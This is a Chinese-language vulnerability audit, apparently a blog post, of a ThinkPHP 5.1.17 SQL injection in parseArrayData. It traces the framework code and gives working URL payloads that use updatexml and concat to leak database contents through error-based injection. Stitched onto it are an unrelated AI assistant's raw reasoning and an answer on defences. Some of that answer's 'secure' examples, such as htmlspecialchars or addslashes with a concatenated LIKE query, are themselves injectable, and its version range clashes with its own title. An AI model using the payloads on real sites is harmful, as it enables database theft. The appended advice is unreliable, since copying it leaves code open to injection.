Thinkphp 5.1.17 SQL注入

前言

之前审计的是5.0.15的parseData函数漏洞导致的SQL注入。这次审的是5.1.17的parseArrayData函数漏洞导致的SQL注入。影响版本:
5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

composer create-project  topthink/think=5.1.17 thinkphp5.1.17

然后改一下composer.json,再composer update就好了。
在这里插入图片描述
然后设置一下database.php:
在这里插入图片描述

index控制器里面写update:

public function index()
{
    $username = request()->get('username');//以数组的格式获取$_GET中的username变量,然后作为参数传入insert()
    db('users')->where(['id' => 15])->update(['username' => $username]);
    return 'Update success';
}

分析

这次是update注入。还是老套路,先把/a给去掉,正常的走一遍update,看看thinkphp是怎么处理的。

?username=111

先跟进一下where()方法:
在这里插入图片描述
$param先获得一个数组作为元素,即['id'=>15],然后再把它弹出去,没什么用。
跟进parseWhereExp()方法,在这里return:
在这里插入图片描述
主要就是对$this->options['where']进行了处理:
在这里插入图片描述
再跟进update方法:
在这里插入图片描述
parseOptions主要就是影响options,产生很多无用的键,增加了'table'=>'users'这个键。然后把这个数组给$this->options['data']
在这里插入图片描述
再跟进$this->connection->update()方法,在这里产生SQL语句:
在这里插入图片描述
再跟进一下这个$this->builder->update()方法,看一下SQL语句的产生:

/**
 * 生成update SQL
 * @access public
 * @param  Query     $query  查询对象
 * @return string
 */
public function update(Query $query)
{
    $options = $query->getOptions();

    $table = $this->parseTable($query, $options['table']);
    $data  = $this->parseData($query, $options['data']);

    if (empty($data)) {
        return '';
    }

    foreach ($data as $key => $val) {
        $set[] = $key . ' = ' . $val;
    }

    'UPDATE %TABLE% SET %SET%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%';
    return str_replace(
        ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],
        [
            $this->parseTable($query, $options['table']),
            implode(' , ', $set),
            $this->parseJoin($query, $options['join']),
            $this->parseWhere($query, $options['where']),
            $this->parseOrder($query, $options['order']),
            $this->parseLimit($query, $options['limit']),
            $this->parseLock($query, $options['lock']),
            $this->parseComment($query, $options['comment']),
        ],
        $this->updateSql);
}

先看一眼下面,和之前的insert注入一样都是直接的替换,没看上面的代码逻辑之前先大胆猜测一下,这个SQL注入可能还是因为正常注入用的是预编译,但是对于处理数据的时候出了问题,导致可以直接拼接恶意代码而不是预编译。跟进一下这两行代码:
在这里插入图片描述
parseTable()利用不大,最终产生这个:
在这里插入图片描述
跟进一下parseData:

/**
 * 数据分析
 * @access protected
 * @param  Query     $query     查询对象
 * @param  array     $data      数据
 * @param  array     $fields    字段信息
 * @param  array     $bind      参数绑定
 * @param  string    $suffix    参数绑定后缀
 * @return array
 */
protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '')
{
    if (empty($data)) {
        return [];
    }

    $options = $query->getOptions();

    // 获取绑定信息
    if (empty($bind)) {
        $bind = $this->connection->getFieldsBind($options['table']);
    }

    if (empty($fields)) {
        if ('*' == $options['field']) {
            $fields = array_keys($bind);
        } else {
            $fields = $options['field'];
        }
    }

    $result = [];

    foreach ($data as $key => $val) {
        $item = $this->parseKey($query, $key);

        if ($val instanceof Expression) {
            $result[$item] = $val->getValue();
            continue;
        } elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) {
            $val = json_encode($val);
        } elseif (is_object($val) && method_exists($val, '__toString')) {
            // 对象数据写入
            $val = $val->__toString();
        }

        if (false !== strpos($key, '->')) {
            list($key, $name) = explode('->', $key);
            $item             = $this->parseKey($query, $key);
            $result[$item]    = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key, $val, $bind, $suffix) . ')';
        } elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            if ($options['strict']) {
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
            $result[$item] = 'NULL';
        } elseif (is_array($val) && !empty($val)) {
            switch ($val[0]) {
                case 'INC':
                    $result[$item] = $item . ' + ' . floatval($val[1]);
                    break;
                case 'DEC':
                    $result[$item] = $item . ' - ' . floatval($val[1]);
                    break;
                default:
                    $value = $this->parseArrayData($query, $val);
                    if ($value) {
                        $result[$item] = $value;
                    }
            }
        } elseif (is_scalar($val)) {
            // 过滤非标量数据
            $result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix);
        }
    }

    return $result;
}

和insert的那个函数处理的大致逻辑都差不多,最终会进入的是这个if:
在这里插入图片描述
跟进一下parseDateBind()函数:

/**
 * 数据绑定处理
 * @access protected
 * @param  Query     $query     查询对象
 * @param  string    $key       字段名
 * @param  mixed     $data      数据
 * @param  array     $bind      绑定数据
 * @param  string    $suffix    绑定后缀
 * @return string
 */
protected function parseDataBind(Query $query, $key, $data, $bind = [], $suffix = '')
{
    // 过滤非标量数据
    if (0 === strpos($data, ':') && $query->isBind(substr($data, 1))) {
        return $data;
    }

    $key  = str_replace(['.', '->'], '_', $key);
    $name = 'data__' . $key . $suffix;

    $query->bind($name, $data, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);

    return ':' . $name;
}

逻辑比较简单,就是产生:data_username的预编译。整个parseData产生的data是这样:
在这里插入图片描述
再经过foreach,产生这样的$set数组:
在这里插入图片描述
再经过str_replace(),产生SQL语句:

UPDATE `users`  SET `username` = :data__username  WHERE  `id` = :where_AND_id  

再进行执行:
在这里插入图片描述
跟进execute()函数,一样的逻辑了。先prepare(),再进行预编译参数绑定,最后执行。
在这里插入图片描述
在这里插入图片描述
正常的执行整个过程无法SQL注入,还是因为预编译。接下来index控制器改成username/a,再审一下parseData()函数,还是老地方:
在这里插入图片描述
5.1.17这个版本已经修复了之前的insert中的那种sql注入漏洞,username[0]=INC或者username[0]=DEC也无法控制替换的内容。但是这里多了个default。跟进一下这个新的parseArrayDate()方法:

/**
 * 数组数据解析
 * @access protected
 * @param  Query     $query     查询对象
 * @param  array     $data
 * @return mixed
 */
protected function parseArrayData(Query $query, $data)
{
    list($type, $value) = $data;

    switch (strtolower($type)) {
        case 'point':
            $fun   = isset($data[2]) ? $data[2] : 'GeomFromText';
            $point = isset($data[3]) ? $data[3] : 'POINT';
            if (is_array($value)) {
                $value = implode(' ', $value);
            }
            $result = $fun . '(\'' . $point . '(' . $value . ')\')';
            break;
        default:
            $result = false;
    }

    return $result;
}

首先把数组的值赋值给一组变量,另$type是point即可以进入case,即?username[0]=point。最终$result的相当于这样:

$result=$username[2].'(\''.$username[3]. '(' . $username[1] . ')\')';

这个形式非常像这个:

updatexml(1,concat(0x7e,database(),0x7e),1)

可以构造一波:

?username[0]=point&username[1]=0x7e,database(),0x7e),'1&username[2]=updatexml&username[3]=1',concat

相当于构造的SQL语句是这样:

UPDATE `users` SET `username` = updatexml('1',concat(0x7e,database(),0x7e),'1)') WHERE `id` = 15

成功实现报错注入:
在这里插入图片描述
如果可以存在回显的话,也可以考虑二次注入:

?username[0]=point&username[1]=1&username[2]=concat&username[3]=',database(),'

在这里插入图片描述
产生的SQL语句如下:

UPDATE `users` SET `username` = concat('',database(),'(1)') WHERE `id` = 15

修复

这张图是从别的师傅的博客里找的:
在这里插入图片描述
官方是直接把这个default给删除了。不过我去github上并没有找到这个,可能是我找的有问题叭。。。

<think>好的,我现在要处理用户关于ThinkPHP框架中SQL注入漏洞及防御措施的问题。首先,我需要回顾用户提供的引用内容,特别是引用2、3、4、5,这些直接涉及ThinkPHPSQL注入的内容。用户希望了解漏洞的具体情况以及如何防护。 首先,我需要整理ThinkPHP中常见的SQL注入漏洞类型。根据引用2和3,ThinkPHP可能存在查询构造器误用、表达式注入、参数绑定遗漏等问题。比如,使用字符串拼接而非参数绑定容易导致注入,尤其是在exp方法处理用户输入时,如果没有严格过滤,可能引入恶意代码。 接下来是防御措施。根据引用4和5,使用参数绑定和预处理语句是关键,这能有效防止SQL注入。此外,过滤输入、避免直接拼接SQL也很重要。引用2提到及时更新框架版本,修复已知漏洞,这也是防御的重要步骤。 然后,我需要结合用户提供的引用,确保回答中的每个点都有对应的支持。例如,在漏洞部分,每个类型都应引用对应的文献,如引用2、3等。防御措施部分则引用4、5以及框架的最佳实践。 还要注意用户提到的系统级指令,比如数学公式的格式,但这个问题主要涉及代码和文字描述,可能不需要数学公式。但需要确保代码块正确使用反引号,并且结构清晰。同时,生成相关问题,可能涉及ThinkPHP的其他漏洞或具体防护步骤。 最后,检查引用是否正确标注,回答是否符合中文要求,结构是否清晰。需要分点说明漏洞和防御措施,帮助用户逐步理解问题。可能还需要提醒用户注意框架版本更新,参考官方文档等。</think>### ThinkPHP SQL注入漏洞及防御措施 #### 一、ThinkPHP框架中SQL注入漏洞类型 1. **查询构造器误用导致注入** 使用字符串拼接方式构造查询条件时,若未正确过滤用户输入,可能触发漏洞。例如: ```php $username = $_GET['name']; $user = Db::query("SELECT * FROM users WHERE name = '$username'"); ``` 若`$username`包含恶意字符如`' OR 1=1 -- `,将导致SQL语句被篡改[^5][^4]。 2. **表达式注入漏洞(exp方法滥用)** 使用`exp`方法直接处理用户输入时,未严格校验参数可能导致注入: ```php $where['exp'] = "id = ".$_GET['id']; Db::name('user')->where($where)->select(); ``` 攻击者可构造`id=1 OR SLEEP(5)`实现时间盲注[^2][^3]。 3. **参数绑定遗漏** 在复杂查询中若遗漏参数绑定,直接拼接用户输入: ```php $order = input('order'); Db::name('data')->order($order)->select(); ``` 攻击者可通过`order=id ASC,(SELECT 1 FROM (SELECT SLEEP(5))a)`触发注入[^3]。 --- #### 二、防御措施 1. **强制使用参数绑定** 所有SQL语句中的变量必须通过预处理绑定: ```php Db::name('user')->where('name = :name')->bind(['name' => $username])->select(); ``` 此方法通过参数化查询分离代码与数据,彻底杜绝注入。 2. **严格过滤输入数据** - 使用`filter_var()`验证数据类型 - 对字符串类型参数进行转义: ```php $filtered = htmlspecialchars($_GET['param'], ENT_QUOTES); ``` 3. **禁用危险方法** 避免直接使用`execute()`执行原生SQL,若必须使用则严格限制参数格式: ```php Db::execute("UPDATE table SET field=? WHERE id=?", [$value, $id]); ``` 4. **框架安全配置** - 开启`config/database.php`中的`params_bind`参数 - 设置`auto_param_bind=true`自动绑定参数 5. **及时更新框架版本** ThinkPHP 5.0.24+ 修复了`exp`注入漏洞,6.0版本重构了查询构造器[^3]。应保持框架为最新稳定版。 --- #### 三、验证防护效果示例 ```php // 安全查询示例 $id = input('id/d'); // 强制转换为整型 Db::name('user')->where('id', $id)->find(); // 带过滤的复杂查询 $keywords = addslashes(input('keywords')); Db::name('article')->where('title LIKE "%'.$keywords.'%"')->select(); ``` ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值